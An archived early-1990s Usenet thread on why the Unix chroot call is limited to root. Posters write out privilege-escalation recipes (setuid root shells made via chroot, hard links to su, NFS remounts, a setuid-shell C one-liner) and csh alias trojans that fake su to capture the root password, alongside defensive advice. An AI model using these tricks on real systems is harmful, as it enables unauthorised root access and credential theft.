Chroot system call
Ramon Dominguez
=>% mkdir ~/etc
=>% cp /etc/passwd ~/etc/passwd
=>% emacs ~/etc/passwd
=>% cp /bin/sh ~/rootsh
=>% chroot ~
=>% su
=># chown root.wheel rootsh
=># chmod u+s rootsh
=># exit
=>% exit
=>
=>login: user
=>Password:
=>
=>% ./rootsh
Which "su" is that you're using? It can't be /bin/su since you've
already chroot'ed into your own home directory. Of course, if can
create suid root programs in your home directory there are other
security problems...
--
Ramon Dominguez | "Work is the curse of the drinking class"
Convex Computer Corporation | --Oscar Wilde
ra...@convex.com | "Ceci n'est pas une .signature file"
Neil Rickert
>
> Can anyone tell me why chroot is a SU only call?
>Since it only affects the processes idea of what root is,
>what obvious security breach would chroot open up if it
>wasn't SU only?
Various programs make assumptions about what is a safe path. For example
/bin/mail assumes it is ok to write to /usr/spool/mail/root with the
permissions of root.
chroot() allows you to change the meaning of paths, and possibly
break security by fooling software.
--
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
Neil W. Rickert, Computer Science <ric...@cs.niu.edu>
Northern Illinois Univ.
DeKalb, IL 60115 +1-815-753-6940
Jasbir Singh
>In article <CKD.91Oc...@eff.org> c...@eff.org (Christopher Davis) writes:
>=>% mkdir ~/etc
>=>% cp /etc/passwd ~/etc/passwd
>=>% emacs ~/etc/passwd
>=>% cp /bin/sh ~/rootsh
>=>% chroot ~
>=>% su
>=># chown root.wheel rootsh
>=># chmod u+s rootsh
>=># exit
>=>% exit
>=>
>=>login: user
>=>Password:
>=>
>=>% ./rootsh
>Which "su" is that you're using? It can't be /bin/su since you've
>already chroot'ed into your own home directory. Of course, if can
>create suid root programs in your home directory there are other
>security problems...
>--
Another reason for not allowing read access on your executables.
Jyrki Kuoppala
>% mkdir ~/etc
>% cp /etc/passwd ~/etc/passwd
>% emacs ~/etc/passwd
>% cp /bin/sh ~/rootsh
% mkdir ~/bin
% ln /bin/* ~/bin
>% chroot ~
>% su
># chown root.wheel rootsh
etc.
Tom Christiansen
:Another reason for not allowing read access on your executables.
Wrong. You're promoting security through obscurity, a tactic that
is useless at best, disastrous at worst.
Does your system allow you to get coredumps for executables you
can't read? Most do. Or how about using ptrace on them, perhaps from an
external attach from a debugger? Even if you're safe from both
these, it's still a silly practice.
--tom
Warner Losh
>Another reason for not allowing read access on your executables.
In this case that wouldn't buy you a thing. You have to be uid 0 to change
your uid. However, if you have a copy of su around, then it won't be setuid
0 anymore, and no good for suing to root.
If chroot() were doable by anybody, AND su was on the same partition that you
had write access to, then you could do a hard link to su (w/o any privs
needed) and then run it after the chroot(). However, not allowing read access
on su wouldn't solve this problem either. Recall that hard links store just
one number, rather than a path so aren't effected by the chroot() call.
While there may be some valid reasons for not allowing read access on your
executables, this ain't one of them. 1) chroot() is a uid 0 only call. 2)
even if it wasn't, the suid bit gets cleared on copy. 3) if you had write
access before, then you could still get to the files you are trying to
protect.
Warner
--
Warner Losh i...@Solbourne.COM MMP to DoD #882
"Red hair is caused by sugar and lust," the woman, who was blond, confided.
"Highly evolved beings do not indulge in sugar and lust." -- Tom Robbins
Christopher Davis
who> == who <w...@gandalf.UMCS.Maine.EDU>
who> Can anyone tell me why chroot is a SU only call?
who> Since it only affects the processes idea of what root is,
who> what obvious security breach would chroot open up if it
who> wasn't SU only?
% mkdir ~/etc
% cp /etc/passwd ~/etc/passwd
% emacs ~/etc/passwd
% cp /bin/sh ~/rootsh
% chroot ~
% su
# chown root.wheel rootsh
# chmod u+s rootsh
# exit
% exit
login: user
Password:
% ./rootsh
;-)
--
Christopher Davis <c...@eff.org> | WEIRD QUOTES OF THE WEEK:
System Manager & Postmaster | "Carpe grepem."
Electronic Frontier Foundation | "Seize the WAIS?"
+1 617 864 0665 NIC: [CKD1] | -- two overworked technodweebs
w...@gandalf.umcs.maine.edu
Can anyone tell me why chroot is a SU only call?
w...@gandalf.umcs.maine.edu
|>
|> who> == who <w...@gandalf.UMCS.Maine.EDU>
|>
|> who> Can anyone tell me why chroot is a SU only call?
|> who> Since it only affects the processes idea of what root is,
|> who> what obvious security breach would chroot open up if it
|> who> wasn't SU only?
|>
|> % mkdir ~/etc
|> % cp /etc/passwd ~/etc/passwd
|> % emacs ~/etc/passwd
|> % cp /bin/sh ~/rootsh
|> % chroot ~
|> % su
|> # chown root.wheel rootsh
|> # chmod u+s rootsh
|> # exit
|> % exit
|>
|> login: user
|> Password:
|>
|> % ./rootsh
|>
|> ;-)
Thanks for all the replies. Now I know :) Too bad,
chroot could have been useful for legitimate purposes; restricting
access to certain directories. Don't people have better things to
do then poke holes in UNIX security?
Rik Harris
>ra...@convex.com (Ramon Dominguez) writes:
>>In article <CKD.91Oc...@eff.org> c...@eff.org (Christopher Davis) writes:
>>Which "su" is that you're using? It can't be /bin/su since you've
>>already chroot'ed into your own home directory. Of course, if can
>>create suid root programs in your home directory there are other
>>security problems...
>Another reason for not allowing read access on your executables.
but make sure they are on a different file-system to a writeable area.
Eg if you have /bin and /tmp on the same file system (done often on
small systems, at least) you can hard-link su to /tmp/bin/su and
chroot /tmp.
Disclaimer: I haven't tried it :-)
rik.
--
Rik Harris - rik.h...@fcit.monash.edu.au || Systems Programmer
+61 3 571-2895 (AH & ans.mach) +61 3 573-2186 (BH) || and Administrator
Faculty of Computing and Information Technology, || Vic. Institute of
Caulfield Campus, Monash University, Australia || Forensic Pathology
Rik Harris
>ra...@convex.com (Ramon Dominguez) writes:
>>Which "su" is that you're using? It can't be /bin/su since you've
>>already chroot'ed into your own home directory. Of course, if can
>>create suid root programs in your home directory there are other
>>security problems...
>>--
>Another reason for not allowing read access on your executables.
Oh, and make sure all other machines around of the same architecture
and OS have their executables are closed too (that includes the whole
world, btw ;-)
Andrew Rutherford
[ ... the commands deleted ... ]
>Which "su" is that you're using? It can't be /bin/su since you've
>already chroot'ed into your own home directory. Of course, if can
>create suid root programs in your home directory there are other
>security problems...
You do it all with hard links. That way you don't have to
create any files, just a standard ln (as another poster has pointed
out.) The restriction this does make is that you must be on the same
partition as these commands - /tmp for the root partition or /usr/tmp
for /usr/bin should do nicely. Note that symbolic links are followed
according to the chroot'ed processes idea of root, so it becomes
somewhat more difficult on (say) a SunOS system with /, /var, /usr,
and /home all on different partations (quite common on servers), as
the executables are in /usr, /usr/tmp is a symbolic link to /var/tmp,
so you can't create your chroot'ed environment there as it isn't on
the same directory as the executables. One reason for having all
setuid executables on a partition non-writable by normal users.
Note that I am not saying SunOS is secure if you make chroot
setuid, as there are probably still ways of doing something similar.
There's always ways of doing something you hadn't though of at the
time, as was clearly the case when people decided to make chroot
setuid in the first place. However, having this setup with all setuid
programs on a non-user writeable partition is something I would
recommend, as it helps against a variety of attacks - including
mounting it read-only to stop someone leaving a back door if they do
break in.
/*
* Andrew Rutherford and...@itd.adelaide.edu.au
* +61 8 228 5661 Real Programmers always confuse Christmas and
* Room 1069, Adelaide Uni Halloween because OCT 31 == DEC 25 !
*/
Mark Garrett
> In article <CKD.91Oc...@eff.org>, c...@eff.org (Christopher Davis) writes:
> |>
> |> who> Can anyone tell me why chroot is a SU only call?
> |> who> Since it only affects the processes idea of what root is,
> |> who> what obvious security breach would chroot open up if it
> |> who> wasn't SU only?
> |> % mkdir ~/etc
> |> % cp /etc/passwd ~/etc/passwd
> |> % emacs ~/etc/passwd
remove the passwd from the root entry
and if its ultrix cp /etc/svf.conf ~/etc
edit svf.conf and put security back to BSD
> |> % cp /bin/sh ~/rootsh
% chroot ~ su -
> |> # chown root rootsh
> |> # chmod u+s rootsh
> |> # exit
> |> % ~/etc/rootsh
# echo "Now do what you like to the system"
# echo "ie. rm -rf /"
>
> Thanks for all the replies. Now I know :) Too bad,
I don't think this 'who' user is very legit ?
> chroot could have been useful for legitimate purposes; restricting
> access to certain directories. Don't people have better things to
> do then poke holes in UNIX security?
chroot may still be used for legitimate purposes by users that already
have root access, ie the sysadmin. As for anybody else they just
don't need chroot for legit purposes!
This was a CERT on ultrix, I do hope all you ultrix admins did
a chmod 500 /usr/bin/chroot ?
Cheers
Mark :)
--
Mark Garrett Internet: ma...@loki.une.edu.au Phone: +61 66 20 3859
University of NewEngland, Northern Rivers, Lismore NSW Australia.
Jon Allen Boone
chroot wouldn't let me execute because it claimed I wasn't the owner
of the directory that I was trying to chroot to.
-=> iain <=-
Chris McCoy
I suspect that most who try this will find the same - unless of
course you already are running as 'root'. If you check the man
pages, you'll probably find a line similar to the following on
most systems:
(Sun) "This command is restricted to the super-user."
(HP) "This command is restricted to users with appropriate privileges."
--
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Chris McCoy : INTERNET mc...@cs.iastate.edu
Computer Science Department :
Iowa State University : VOICE (515) 294-9727
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Stefan Esser
|> In article <CKD.91Oc...@eff.org> c...@eff.org (Christopher Davis) writes:
|> =>% mkdir ~/etc
|> =>% cp /etc/passwd ~/etc/passwd
|> =>% emacs ~/etc/passwd
|> =>% cp /bin/sh ~/rootsh
|> =>% chroot ~
|> =>% su
|> =># chown root.wheel rootsh
|> =># chmod u+s rootsh
|> =># exit
|> =>% exit
|> =>
|> =>login: user
|> =>Password:
|> =>
|> =>% ./rootsh
|>
|> Which "su" is that you're using? It can't be /bin/su since you've
|> already chroot'ed into your own home directory. Of course, if can
|> create suid root programs in your home directory there are other
|> security problems...
How about doing the above on the same file system were the root directory
resides, eg. (requiring / and /tmp in the same filesystem):
mkdir /tmp/ROOT
...
ln /bin/su /tmp/ROOT/bin/su
chroot /tmp/ROOT
...
You don't have to create a suid program, if you are able to link it into your
directory tree!
Although the above doesn't work (since chroot can only be used by root),
this is one further reason I prefer to have the root directory on a partition
without any user writable directories.
(Imagine, there's a known bug in a suid program and a user gets to know
about it and gets a link to it before you replace it. He'll be able to use the
old version and if you don't regularly check the user directories for suid
programs, you won't notice anything !
HP's workstations generally have /, /tmp, /usr/tmp and the user directories
all on the same partition, since HP-UX doesn't support disk partitions on
workstations. Thus the above can happen easily, if the workstation has
local binary directories (dataless configuration) !)
Stefan Esser
--
Stefan Esser, Institute of Nuclear Physics, University of Cologne, Germany
s...@IKP.Uni-Koeln.DE [134.95.192.50]
Io's Hatchet
[ .. deleted stuff .. ]
>Which "su" is that you're using? It can't be /bin/su since you've
>already chroot'ed into your own home directory. Of course, if can
>create suid root programs in your home directory there are other
>security problems...
Ever heard of hard links?
--
--------------------------------------------------------------------------------
These opinions are *not* my own, they are the | Paul Hatchman
result of years of social engineering, and the| pdha...@socs.uts.edu.au
opinions of my parent, friends and educators | pa...@uts.edu.au
Mark Garrett
> Ever heard of hard links?
Yes , but this requires you to be on the same partition as /bin/su
(in Ultrix its symlinked to /usr/bin/su)
So this is a good reason to get /tmp and /usr/tmp as separte
file systems and make sure user file systems are separte to /usr
Cheers
Mark :)
--
Mark Garrett Internet: ma...@loki.une.edu.au Phone: +61 66 20 3859
University of New England, Northern Rivers, Lismore NSW Australia.
Anthony Baxter
>From article <pdhatchm.689145475@syzygy>, by pdha...@socs.uts.edu.au (Io's Hatchet):
>> Ever heard of hard links?
> Yes , but this requires you to be on the same partition as /bin/su
>(in Ultrix its symlinked to /usr/bin/su)
> So this is a good reason to get /tmp and /usr/tmp as separte
>file systems and make sure user file systems are separte to /usr
> Cheers
> Mark :)
Doesnt help though, if your machine gets its usr disk from somewhere else
through NFS;
You just remount the /usr disk under where you want to chroot().
(On these Decstations, at least, anyone can use mount)
(I know this works, because I tried it :-)
Anthony
--
Anthony Baxter.
ant...@nellads.cc.monash.edu.au
-rw-rw-rw- The File Protection Of The Beast.
Rob Stampfli
to disable potentially harmful global interactions (restricting mknod(),
stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
to give someone superuser access in a chrooted subsystem without compromising
the integrity of the overall system. They could, of course wreak havoc with
their little part of the system, but could be prevented from breaching the
security of the external part of the system. Has anyone else considered this?
--
Rob Stampfli, 614-864-9377, r...@kd8wk.uucp (osu-cis!kd8wk!res), kd...@n8jyv.oh
Jeff Beadles
>On a related note, it seems to me that with a few minor changes in the kernel
>to disable potentially harmful global interactions (restricting mknod(),
>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>to give someone superuser access in a chrooted subsystem without compromising
>the integrity of the overall system. They could, of course wreak havoc with
>their little part of the system, but could be prevented from breaching the
>security of the external part of the system. Has anyone else considered this?
Don't forget chown and chmod. What if I create a setuid /bin/sh in my
chrooted filesystem as root, and then run it as my "normal" user" outside of
the chrooted area.
For example, if the chrooted area is "/chroot":
(as the chrooted root user)
chown root /bin/sh
chmod 4755 /bin/sh
Then, login as a "mortal" user, and run /chroot/bin/sh...
Needless to say, this would not be a good thing...
-Jeff
--
Jeff Beadles je...@onion.rain.com
Barry Margolin
>r...@colnet.uucp (Rob Stampfli) writes:
>
>>On a related note, it seems to me that with a few minor changes in the kernel
>>to disable potentially harmful global interactions (restricting mknod(),
>>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>>to give someone superuser access in a chrooted subsystem without compromising
>>the integrity of the overall system.
>Don't forget chown and chmod. What if I create a setuid /bin/sh in my
>chrooted filesystem as root, and then run it as my "normal" user" outside of
>the chrooted area.
Well, in addition to preventing this limited superuser from accessing
outside his domain, you have to prevent ordinary users from getting *into*
his domain. You can do this by putting an inaccessible directory above his
root:
# mkdir /chroot
# mkdir /chroot/chroot1
# chmod 500 /chroot
# chown chroot /chroot
Then have him chroot() to /chroot/chroot1.
But this is actually a pretty silly exercise. I think you'd actually have
to disable almost *all* privileged system calls, not just the few Rob
listed above. For instance, connect() shouldn't be allowed to use
privileged ports.
Basically, the only special privilege you can leave is the ability to
ignore file protections. But you can get that simply by doing:
# chown -R chroot /chroot
# chmod -R 700 /chroot
Most other superuser privileges can have impact on the system and/or other
users.
--
Barry Margolin, Thinking Machines Corp.
bar...@think.com
{uunet,harvard}!think!barmar
Jim Davis
rs> On a related note, it seems to me that with a few minor changes in
rs> the kernel to disable potentially harmful global interactions
rs> (restricting mknod(), stime(), kill(), and perhaps nice(), etc, when
rs> chrooted), it would be possible to give someone superuser access in
rs> a chrooted subsystem without compromising the integrity of the
rs> overall system. They could, of course wreak havoc with their little
rs> part of the system, but could be prevented from breaching the security
rs> of the external part of the system. Has anyone else considered this?
Yes, it has been considered. Under most assumptions about the changes
to the OS, it still turns out either that having superuser capabilities in
a chrooted area compromises the entire system, or that the resulting
capability is not useful.
Suppose that the chrooted area can be written to by an ordinary
user (OU); or merely read by an OU with the CSU able to compile
a program or read a device. Then the CSU (chrooted-super-user)
can make a set-uid program from the compilation of:
main(){setuid(0);execl("/bin/sh","/bin/sh",0);}
and leave it for the OU to take over with.
(Note that not letting the CSU use a compiler doesn't stop
this since an OU can pass it tiny executable in.)
If the CSU can access device files (e.g. /dev/kmem) then all is lost.
So let's see what system calls we need to worry about.
chmod() - To prevent setting set-UID bit.
chown() - To prevent giving set-UID files away to new users.
kill() -
mknod() - To prevent the creation of device files
mount() -
open() - To prevent placing new data in existing set-UID programs
ptrace() - To prevent CSU from attaching to existing processes (where possible)
reboot() -
renice() - on systems that have it
stime() -
The only functions that we can safely leave to this
CSU are creating new files, and reading existing files.
Almost any other functionality is abusable.
--
Jim Davis (James W. Davis) Palo Alto, CA (415) 857-4036
da...@hplabs.hp.com {any_of_the_biggies}!hplabs!davis
Rik Harris
>On a related note, it seems to me that with a few minor changes in the kernel
>to disable potentially harmful global interactions (restricting mknod(),
>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>to give someone superuser access in a chrooted subsystem without compromising
>the integrity of the overall system. They could, of course wreak havoc with
>their little part of the system, but could be prevented from breaching the
>security of the external part of the system. Has anyone else considered this?
The problem occurs when that user does something like create a set-uid
root shell, and that same file-system is readable by other people.
When the user goes back to the normal system, and the file-system is
still there, they can run it, and have root on the whole system.
What it looks like you are trying to do is allow people to "play" on a
unix system and see what they can do. A better solution is what we
did here: buy an old unix machine cheaply from somewhere (we got an
AT&T 3b2 for ~ $A1000). Keep the restoration tapes handy, and play to
you're heart's content. Learnt some valuable stuff, and some not so
valuable stuff (like: what happens when you delete /dev? how about
removing the /tmp directory? lets see if we can crash the system with
a user proces...etc). If this is not what you wanted, then just
ignore this paragraph :-)
As for chroot, etc. It seems a little too dangerous to be worthwhile
(particularly if you are screwing with the kernel :-)
Rogier Wolff
>r...@colnet.uucp (Rob Stampfli) writes:
>>On a related note, it seems to me that with a few minor changes in the kernel
>>to disable potentially harmful global interactions (restricting mknod(),
>>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>>to give someone superuser access in a chrooted subsystem without compromising
>>the integrity of the overall system. They could, of course wreak havoc with
>>their little part of the system, but could be prevented from breaching the
>>security of the external part of the system. Has anyone else considered this?
>The problem occurs when that user does something like create a set-uid
>root shell, and that same file-system is readable by other people.
>When the user goes back to the normal system, and the file-system is
>still there, they can run it, and have root on the whole system.
>What it looks like you are trying to do is allow people to "play" on a
>unix system and see what they can do.
Yes. That would be fun. That sounds like a virtual machine to me. This is
also what the chroot system call is for, create a virtual environment, where
possible damage is less than for the whole system.
On the subject of virtual machines, I once compiled a PC simulator for our
SPARCs, booted the thing, and had it run MINIX, a unix like OS. I logged in
on the PC as root, and at that moment our sysop came in, and saw the "#"
prompt......
--
EMail: wo...@duteca.et.tudelft.nl ** Tel +31-15-783644 or +31-15-142371
Rik Harris
>r...@nella4.cc.monash.edu.au (Rik Harris) writes:
>>r...@colnet.uucp (Rob Stampfli) writes:
>>>On a related note, it seems to me that with a few minor changes in the kernel
>>>to disable potentially harmful global interactions (restricting mknod(),
>>>stime(), kill(), and perhaps nice(), etc, when chrooted), it would be possible
>>>to give someone superuser access in a chrooted subsystem without compromising
>>>the integrity of the overall system. They could, of course wreak havoc with
>>>their little part of the system, but could be prevented from breaching the
>>>security of the external part of the system. Has anyone else considered this?
>>What it looks like you are trying to do is allow people to "play" on a
>>unix system and see what they can do.
>Yes. That would be fun. That sounds like a virtual machine to me. This is
>also what the chroot system call is for, create a virtual environment, where
>possible damage is less than for the whole system.
chroot provides a virtual *file system*, almost a virtual environment,
but nowhere near a virtual machine.
>On the subject of virtual machines, I once compiled a PC simulator for our
>SPARCs, booted the thing, and had it run MINIX, a unix like OS. I logged in
>on the PC as root, and at that moment our sysop came in, and saw the "#"
>prompt......
:-) hehe
Isn't there a Minix version available for SPARCs already?
>EMail: wo...@duteca.et.tudelft.nl ** Tel +31-15-783644 or +31-15-142371
Jesse Buckley
[Stuff deleted.]
>>On the subject of virtual machines, I once compiled a PC simulator for our
>>SPARCs, booted the thing, and had it run MINIX, a unix like OS. I logged in
>>on the PC as root, and at that moment our sysop came in, and saw the "#"
>>prompt......
>:-) hehe
One of my favorite csh things is the following...
alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
--
Frank 'Scruff' Miller
>
>One of my favorite csh things is the following...
>
>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
Such 'trojan horses' have to be the cheesiest hack about ...
A long time ago, in a university computing center far, far away, many
students were brought to a 'student conduct board' for such behavior.
I can respect an elegant hack that demonstrates a deeper understanding
of an OS ...
The best tread quietly.
Frank
John Navarra
>In article <1991Nov13....@pool.info.sunyit.edu> bu...@pool.info.sunyit.edu (Jesse Buckley) writes:
>>
>>One of my favorite csh things is the following...
>>
>>alias su 'echo -n "Password:" ; stty -echo ; set tmp=$< ; stty echo ; echo ""; set prompt = "# "'
>
>Such 'trojan horses' have to be the cheesiest hack about ...
dumb enough to fall for the alias you define DESERVES to get f*cked with.
You *will* get the root passwd with this alias (assuming you can create it
in his environment) but you are NOT giving him his root privs but instead
are giving him a "#" prompt. So any rootly thing he is trying to do won't
work! And it seems to me that if you are going to do an 'su' to root, you
WANT to do rootly things. Therefore, if this happened to me, and I got
some 'Permission denied' or whatever, the FIRST thing I would do is
'whoami' and find out that I am not root. Then, I would be VERY suspicious
since I suddenly have a '#' prompt! Then the root passwd would get changed
and certain history files, etc would be checked. Guess who would get f*cked
with then!
Gee, at the VERY least, you need to save the passwd somewhere
(usually done by mailing it to you), echo "Sorry", remove the alias, do
a rehash and let Joe Administrator think he has typed in his passwd wrong.
>The best tread quietly.
This is true. Silent but deadly. Actually, this Trojan Horse, if done
right, has a VERY high chance of succeding. I know very few sys-admins who
although very concerned with security, will not think twice if their 'su'
doesn't work correctly on the first try. Frankly, it is just a pain in the
ass to change the root passwd everytime you type it in wrong the first time
even given that there is a chance someone is trying the old trojan horse
trick. So, even though they might have wiped out many many holes in the
system - thus making the average hacker's life harder -- they may easily
fall prone to this old trick from a fairly novice programmer.
-tms
>
>Frank
--
From the Lab of the MaD ScIenTiST:
nav...@casbah.acns.nwu.edu
Hans-Christoph Deeken
> Actually, this Trojan Horse, if done
> right, has a VERY high chance of succeding. I know very few sys-admins who
> although very concerned with security, will not think twice if their 'su'
> doesn't work correctly on the first try. Frankly, it is just a pain in the
> ass to change the root passwd everytime you type it in wrong the first time
> even given that there is a chance someone is trying the old trojan horse
> trick. So, even though they might have wiped out many many holes in the
> system - thus making the average hacker's life harder -- they may easily
> fall prone to this old trick from a fairly novice programmer.
But this trojan horse can't bite you, if you always do a "/bin/su -" instead
of just plain "su". The absolute filename prevents a faked su and the "-"
prevents you from other trojan horses in the path (of the user-id su was
invoked from).
Nothing is perfect, but using this approach should reduce the number of
tricks a ordinary (= non-priviliged) user can do to the sys-admin.
Hannes
--
Hans-Christoph Deeken (dee...@iti.informatik.th-darmstadt.de)
TH Darmstadt, Germany (I don't speak for THD, they don't speak for me)
"Lying to the window manager is considered uncool. -paul asente"
David Canzi
>But this trojan horse can't bite you, if you always do a "/bin/su -" instead
>of just plain "su". The absolute filename prevents a faked su and the "-"
>prevents you from other trojan horses in the path (of the user-id su was
>invoked from).
Since the "trojan horse" in this thread was an alias:
Script started on Thu Nov 14 05:43:00 1991
watserv1% alias /bin/su echo blargh
watserv1% /bin/su -
blargh -
watserv1%
script done on Thu Nov 14 05:43:32 1991
--
David Canzi
Roy Rapoport
Oh, please!!
I ASSUME the guy wasn't serious -- this thing is NOT a trojan horse, just a
joke!!
About a year ago I was cracking on my cluster, and the SysAdmins strongly
suspected this, but usually did not have proof of this. My favorite thing was
alias su 'echo -n "password:" ; stty -echo ; set bla=$< ; stty echo ; echo
"" ; set prompt="# " ; alias whoami echo "root" ; alias which echo
"/usr/ucb/\!*"'
and do this when one of the sysadmins was around. . . Had great results for
the first time on most of them :-)
Notice it changes your 'whoami', and 'which'. Obviously, you can do
'alias whoami' to find out, but the point was that it was NOT a security
hole, just a little joke. . .
Roy Rapoport r...@ocf.berkeley.edu
Disclaimer: It wasn't me!! It was a fake post or something!! I would
never write anything like that!!